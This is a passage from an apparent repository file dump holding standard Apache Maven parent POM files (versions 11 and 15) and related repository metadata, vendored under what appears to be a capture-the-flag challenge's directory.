    <name>Patrick Schneider</name>\n      <email>pschneider@gmail.com</email>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>-6</timezone>\n    </developer>\n    <developer>\n      <id>ptahchiev</id>\n      <name>Petar Tahchiev</name>\n      <email>ptahchiev@apache.org</email>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>+2</timezone>\n    </developer>\n    <developer>\n      <id>rafale</id>\n      <name>Raphaël Piéroni</name>\n      <email>rafale@apache.org</email>\n      <organization>Dexem</organization>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>rinku</id>\n      <name>Rahul Thakur</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>shinobu</id>\n      <name>Shinobu Kuwai</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>smorgrav</id>\n      <name>Torbjorn Eikli Smorgrav</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>ogusakov</id>\n      <name>Oleg Gusakov</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <!--End Committers-->\n  </developers>\n\n  <mailingLists>\n    <mailingList>\n      <name>Maven Announcements List</name>\n      <post>announce@maven.apache.org</post>\n      <subscribe>announce-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>announce-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-announce/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/announce@maven.apache.org</otherArchive>\n        <otherArchive>http://www.nabble.com/Maven-Announcements-f15617.html</otherArchive>\n        <otherArchive>http://markmail.org/list/org.apache.maven.announce</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Notifications List</name>\n      <subscribe>notifications-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>notifications-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-notifications/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/notifications@maven.apache.org</otherArchive>\n        <otherArchive>http://www.nabble.com/Maven---Notifications-f15574.html</otherArchive>\n        <otherArchive>http://markmail.org/list/org.apache.maven.notifications</otherArchive>\n      </otherArchives>\n    </mailingList>\n  </mailingLists>\n\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/maven/pom/tags/maven-parent-11</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/maven/pom/tags/maven-parent-11</developerConnection>\n    <url>http://svn.apache.org/viewvc/maven/pom/tags/maven-parent-11</url>\n  </scm>\n  <ciManagement>\n    <system>Hudson</system>\n    <url>http://grid.sonatype.org/ci</url>\n    <notifiers>\n      <notifier>\n        <type>mail</type>\n        <configuration>\n          <address>notifications@maven.apache.org</address>\n        </configuration>\n      </notifier>\n    </notifiers>\n  </ciManagement>\n  <distributionManagement>\n    <site>\n      <id>apache.website</id>\n      <url>scp://people.apache.org/www/maven.apache.org</url>\n    </site>\n  </distributionManagement>\n\n  <properties>\n    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n  </properties>\n\n  <build>\n    <plugins>\n      <!-- We want to package up license resources in the JARs produced -->\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-remote-resources-plugin</artifactId>\n        <executions>\n          <execution>\n            <goals>\n              <goal>process</goal>\n            </goals>\n            <configuration>\n              <resourceBundles>\n                <resourceBundle>org.apache:apache-jar-resource-bundle:1.4</resourceBundle>\n              </resourceBundles>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n    </plugins>\n    <pluginManagement>\n      <plugins>\n        <!-- set versions of common plugins for reproducibility, ordered alphabetically -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-antrun-plugin</artifactId>\n          <version>1.3</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-clean-plugin</artifactId>\n          <version>2.3</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-compiler-plugin</artifactId>\n          <version>2.0.2</version>\n          <configuration>\n            <source>1.4</source>\n            <target>1.4</target>\n            <encoding>${project.build.sourceEncoding}</encoding>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-deploy-plugin</artifactId>\n          <version>2.4</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-docck-plugin</artifactId>\n          <version>1.0</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-enforcer-plugin</artifactId>\n          <version>1.0-alpha-4</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-gpg-plugin</artifactId>\n          <version>1.0-alpha-4</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-install-plugin</artifactId>\n          <version>2.2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-invoker-plugin</artifactId>\n          <version>1.3</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-jar-plugin</artifactId>\n          <version>2.2</version>\n          <configuration>\n            <archive>\n              <manifest>\n                <addDefaultSpecificationEntries>true</addDefaultSpecificationEntries>\n                <addDefaultImplementationEntries>true</addDefaultImplementationEntries>\n              </manifest>\n            </archive>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-javadoc-plugin</artifactId>\n          <version>2.5</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-plugin-plugin</artifactId>\n          <version>2.4.3</version>\n        </plugin>\n        <!-- START SNIPPET: release-plugin-configuration -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-release-plugin</artifactId>\n          <version>2.0-beta-8</version>\n          <configuration>\n            <useReleaseProfile>false</useReleaseProfile>\n            <goals>deploy</goals>\n            <arguments>-Prelease</arguments>\n          </configuration>\n        </plugin>\n        <!-- END SNIPPET: release-plugin-configuration -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-remote-resources-plugin</artifactId>\n          <version>1.0</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-resources-plugin</artifactId>\n          <version>2.3</version>\n          <configuration>\n            <encoding>${project.build.sourceEncoding}</encoding>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-scm-plugin</artifactId>\n          <version>1.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-site-plugin</artifactId>\n          <version>2.0-beta-7</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-source-plugin</artifactId>\n          <version>2.0.4</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-surefire-plugin</artifactId>\n          <version>2.4.3</version>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.mojo</groupId>\n          <artifactId>clirr-maven-plugin</artifactId>\n          <version>2.2.2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.plexus</groupId>\n          <artifactId>plexus-maven-plugin</artifactId>\n          <version>1.3.8</version>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.modello</groupId>\n          <artifactId>modello-maven-plugin</artifactId>\n          <version>1.0-alpha-22</version>\n        </plugin>\n        <!-- set versions of common reporting plugins for site reproducibility, ordered alphabetically -->\n        <!-- won't help until MNG-3385 is fixed\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-checkstyle-plugin</artifactId>\n          <version>2.2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-javadoc-plugin</artifactId>\n          <version>2.5</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-jxr-plugin</artifactId>\n          <version>2.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-pmd-plugin</artifactId>\n          <version>2.4</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-project-info-reports-plugin</artifactId>\n          <version>2.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-surefire-report-plugin</artifactId>\n          <version>2.4.3</version>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.mojo</groupId>\n          <artifactId>clirr-maven-plugin</artifactId>\n          <version>2.2.2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.mojo</groupId>\n          <artifactId>cobertura-maven-plugin</artifactId>\n          <version>2.2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.mojo</groupId>\n          <artifactId>taglist-maven-plugin</artifactId>\n          <version>2.2</version>\n        </plugin>-->\n      </plugins>\n    </pluginManagement>\n  </build>\n\n  <reporting>\n    <plugins>\n      <plugin>\n        <artifactId>maven-project-info-reports-plugin</artifactId>\n        <version>2.1</version>\n      </plugin>\n    </plugins>\n  </reporting>\n\n  <profiles>\n    <profile>\n      <id>quality-checks</id>\n      <activation>\n        <property>\n          <name>quality-checks</name>\n          <value>true</value>\n        </property>\n      </activation>\n      <build>\n        <plugins>\n\n          <!--<plugin>\n          Clirr needs to be more flexble before we can force this everywhere. New releases that don't have previous artifacts to compare cause Clirr to blow up. And Clirr needs to be smart enough to only look at the previous release artifact so we can make this work during snapshot builds, otherwise it just blows up when you try to do a release.\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>clirr-maven-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>clirr-check</id>\n                <phase>verify</phase>\n                <goals>\n                  <goal>check</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>-->\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-pmd-plugin</artifactId>\n            <version>2.4</version>\n            <configuration>\n              <excludeRoots>\n                <excludeRoot>${project.build.directory}/generated-sources/modello</excludeRoot>\n                <excludeRoot>${project.build.directory}/generated-sources/plugin</excludeRoot>\n              </excludeRoots>\n            </configuration>\n            <executions>\n              <execution>\n                <id>cpd-check</id>\n                <phase>verify</phase>\n                <goals>\n                  <goal>cpd-check</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n    <profile>\n      <id>reporting</id>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>cobertura-maven-plugin</artifactId>\n            <version>2.2</version>\n            <executions>\n              <execution>\n                <phase>clean</phase>\n                <goals>\n                  <goal>clean</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n      <reporting>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-project-info-reports-plugin</artifactId>\n            <version>2.1</version>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-surefire-report-plugin</artifactId>\n            <version>2.4.3</version>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-checkstyle-plugin</artifactId>\n            <version>2.2</version>\n            <configuration>\n              <configLocation>http://svn.apache.org/repos/asf/maven/plugins/trunk/maven-checkstyle-plugin/src/main/resources/config/maven_checks.xml</configLocation>\n              <headerLocation>http://svn.apache.org/repos/asf/maven/plugins/trunk/maven-checkstyle-plugin/src/main/resources/config/maven-header.txt</headerLocation>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-pmd-plugin</artifactId>\n            <version>2.4</version>\n            <configuration>\n              <rulesets>\n                <ruleset>http://svn.apache.org/repos/asf/maven/plugins/trunk/maven-pmd-plugin/src/main/resources/rulesets/maven.xml</ruleset>\n              </rulesets>\n              <excludeRoots>\n                <excludeRoot>${project.build.directory}/generated-sources/modello</excludeRoot>\n                <excludeRoot>${project.build.directory}/generated-sources/plugin</excludeRoot>\n              </excludeRoots>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>cobertura-maven-plugin</artifactId>\n            <version>2.2</version>\n          </plugin>\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>taglist-maven-plugin</artifactId>\n            <version>2.2</version>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-jxr-plugin</artifactId>\n            <version>2.1</version>\n            <configuration>\n              <inputEncoding>${project.build.sourceEncoding}</inputEncoding>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <version>2.5</version>\n            <configuration>\n              <encoding>${project.build.sourceEncoding}</encoding>\n              <links>\n                <link>http://java.sun.com/j2se/1.4.2/docs/api</link>\n                <link>http://java.sun.com/j2ee/1.4/docs/api</link>\n                <link>http://java.sun.com/j2se/1.5.0/docs/api</link>\n                <link>http://commons.apache.org/collections/apidocs-COLLECTIONS_3_0/</link>\n                <link>http://commons.apache.org/dbcp/apidocs/</link>\n                <link>http://commons.apache.org/fileupload/apidocs/</link>\n                <link>http://commons.apache.org/httpclient/apidocs/</link>\n                <link>http://commons.apache.org/logging/apidocs/</link>\n                <link>http://commons.apache.org/pool/apidocs/</link>\n                <link>http://junit.sourceforge.net/javadoc/</link>\n                <link>http://logging.apache.org/log4j/1.2/apidocs/</link>\n                <link>http://jakarta.apache.org/regexp/apidocs/</link>\n                <link>http://velocity.apache.org/engine/releases/velocity-1.5/apidocs/</link>\n              </links>\n            </configuration>\n            <reportSets>\n              <reportSet>\n                <reports>\n                  <report>javadoc</report>\n                  <report>test-javadoc</report>\n                </reports>\n              </reportSet>\n            </reportSets>\n          </plugin>\n          <!--plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>clirr-maven-plugin</artifactId>\n            <version>2.2.2</version>\n          </plugin-->\n        </plugins>\n      </reporting>\n    </profile>\n    <!-- START SNIPPET: release-profile -->\n    <profile>\n      <id>release</id>\n      <build>\n        <plugins>\n          <!-- We want to sign the artifact, the POM, and all attached artifacts -->\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-gpg-plugin</artifactId>\n            <configuration>\n              <passphrase>${gpg.passphrase}</passphrase>\n            </configuration>\n            <executions>\n              <execution>\n                <goals>\n                  <goal>sign</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <!-- We want to deploy the artifact to a staging location for perusal -->\n          <plugin>\n            <inherited>true</inherited>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-deploy-plugin</artifactId>\n            <configuration>\n              <altDeploymentRepository>${deploy.altRepository}</altDeploymentRepository>\n              <updateReleaseInfo>true</updateReleaseInfo>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-source-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-sources</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <configuration>\n              <encoding>${project.build.sourceEncoding}</encoding>\n            </configuration>\n            <executions>\n              <execution>\n                <id>attach-javadocs</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <!--plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>clirr-maven-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>clirr-check</id>\n                <phase>package</phase>\n                <goals>\n                  <goal>check</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin-->\n        </plugins>\n      </build>\n    </profile>\n    <!-- END SNIPPET: release-profile -->\n  </profiles>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/11/maven-parent-11.pom.sha1",
    "content": "4bb80173fa4979737840fda012af86f5beabf1bc"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/15/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:00:07 CST 2018\nmaven-parent-15.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/15/maven-parent-15.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.apache</groupId>\n    <artifactId>apache</artifactId>\n    <version>6</version>\n    <relativePath>../asf/pom.xml</relativePath>\n  </parent>\n\n  <groupId>org.apache.maven</groupId>\n  <artifactId>maven-parent</artifactId>\n  <version>15</version>\n  <packaging>pom</packaging>\n\n  <name>Apache Maven</name>\n  <description>Maven is a software project management and comprehension tool. Based on the concept of a project object model (POM), Maven can manage a project's build, reporting and documentation from a central piece of information.</description>\n  <url>http://maven.apache.org/</url>\n  <inceptionYear>2002</inceptionYear>\n\n  <!-- Developers listed by PMC Chair, PMC, Committers, Contributers, all alphabetical-->\n  <developers>\n    <developer>\n      <id>brianf</id>\n      <name>Brian Fox</name>\n      <email>brianf@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Chair</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>aheritier</id>\n      <name>Arnaud Héritier</name>\n      <email>aheritier@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>baerrach</id>\n      <name>Barrie Treloar</name>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>bentmann</id>\n      <name>Benjamin Bentmann</name>\n      <email>bentmann@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>brett</id>\n      <name>Brett Porter</name>\n      <email>brett@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+10</timezone>\n    </developer>\n    <developer>\n      <id>carlos</id>\n      <name>Carlos Sanchez</name>\n      <email>carlos@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>dennisl</id>\n      <name>Dennis Lundberg</name>\n      <email>dennisl@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>dfabulich</id>\n      <name>Daniel Fabulich</name>\n      <email>dfabulich@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-8</timezone>\n    </developer>\n    <developer>\n      <id>dkulp</id>\n      <name>Daniel Kulp</name>\n      <email>dkulp@apache.org</email>\n      <organization>IONA</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>evenisse</id>\n      <name>Emmanuel Venisse</name>\n      <email>evenisse@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>fgiust</id>\n      <name>Fabrizio Giustina</name>\n      <email>fgiust@apache.org</email>\n      <organization>openmind</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>hboutemy</id>\n      <name>Hervé Boutemy</name>\n      <email>hboutemy@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>jdcasey</id>\n      <name>John Casey</name>\n      <email>jdcasey@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>jmcconnell</id>\n      <name>Jesse McConnell</name>\n      <email>jmcconnell@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-6</timezone>\n    </developer>\n    <developer>\n      <id>joakime</id>\n      <name>Joakim Erdfelt</name>\n      <email>joakime@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>jstrachan</id>\n      <name>James Strachan</name>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>jtolentino</id>\n      <name>Ernesto Tolentino Jr.</name>\n      <email>jtolentino@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+8</timezone>\n    </developer>\n    <developer>\n      <id>jvanzyl</id>\n      <name>Jason van Zyl</name>\n      <email>jason@maven.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>kenney</id>\n      <name>Kenney Westerhof</name>\n      <email>kenney@apache.org</email>\n      <organization>Neonics</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>ltheussl</id>\n      <name>Lukas Theussl</name>\n      <email>ltheussl@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>mkleint</id>\n      <name>Milos Kleint</name>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>mperham</id>\n      <name>Mike Perham</name>\n      <email>mperham@gmail.com</email>\n      <organization>IBM</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-6</timezone>\n    </developer>\n    <developer>\n      <id>oching</id>\n      <name>Maria Odea B. Ching</name>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>olamy</id>\n      <name>Olivier Lamy</name>\n      <email>olamy@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>rgoers</id>\n      <name>Ralph Goers</name>\n      <email>rgoers@apache.org</email>\n      <organization>Intuit</organization>\n      <timezone>-8</timezone>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>snicoll</id>\n      <name>Stephane Nicoll</name>\n      <email>snicoll@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>trygvis</id>\n      <name>Trygve Laugstol</name>\n      <email>trygvis@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>vmassol</id>\n      <name>Vincent Massol</name>\n      <email>vmassol@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>vsiveton</id>\n      <name>Vincent Siveton</name>\n      <email>vsiveton@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>wsmoak</id>\n      <name>Wendy Smoak</name>\n      <email>wsmoak@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-7</timezone>\n    </developer>\n\n    <!--Committers-->\n    <developer>\n      <id>aramirez</id>\n      <name>Allan Q. Ramirez</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>bayard</id>\n      <name>Henri Yandell</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>bellingard</id>\n      <name>Fabrice Bellingard</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>chrisjs</id>\n      <name>Chris Stevenson</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>dantran</id>\n      <name>Dan Tran</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>dblevins</id>\n      <name>David Blevins</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>dlr</id>\n      <name>Daniel Rall</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>epunzalan</id>\n      <name>Edwin Punzalan</name>\n      <email>epunzalan@apache.org</email>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>-8</timezone>\n    </developer>\n    <developer>\n      <id>felipeal</id>\n      <name>Felipe Leme</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>handyande</id>\n      <name>Andrew Williams</name>\n      <email>handyande@apache.org</email>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>0</timezone>\n    </developer>\n    <developer>\n      <id>jjensen</id>\n      <name>Jeff Jensen</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>nicolas</id>\n      <name>Nicolas De Loof</name>\n      <email>nicolas@apache.org</email>\n      <organization>Capgemini</organization>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>ogusakov</id>\n      <name>Oleg Gusakov</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>pgier</id>\n      <name>Paul Gier</name>\n      <email>pgier@apache.org</email>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>-6</timezone>\n    </developer>\n    <developer>\n      <id>pschneider</id>\n      <name>Patrick Schneider</name>\n      <email>pschneider@gmail.com</email>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>-6</timezone>\n    </developer>\n    <developer>\n      <id>ptahchiev</id>\n      <name>Petar Tahchiev</name>\n      <email>ptahchiev@apache.org</email>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>+2</timezone>\n    </developer>\n    <developer>\n      <id>rafale</id>\n      <name>Raphaël Piéroni</name>\n      <email>rafale@apache.org</email>\n      <organization>Dexem</organization>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>rinku</id>\n      <name>Rahul Thakur</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>shinobu</id>\n      <name>Shinobu Kuwai</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>smorgrav</id>\n      <name>Torbjorn Eikli Smorgrav</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>stephenc</id>\n      <name>Stephen Connolly</name>\n      <email>stephenc@apache.org</email>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>0</timezone>\n    </developer>\n    <!--End Committers-->\n  </developers>\n\n  <mailingLists>\n    <mailingList>\n      <name>Maven Announcements List</name>\n      <post>announce@maven.apache.org</post>\n      <subscribe>announce-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>announce-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-announce/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/announce@maven.apache.org</otherArchive>\n        <otherArchive>http://www.nabble.com/Maven-Announcements-f15617.html</otherArchive>\n        <otherArchive>http://markmail.org/list/org.apache.maven.announce</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Notifications List</name>\n      <subscribe>notifications-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>notifications-unsubscribe@maven.apache.org</unsubscribe>\n      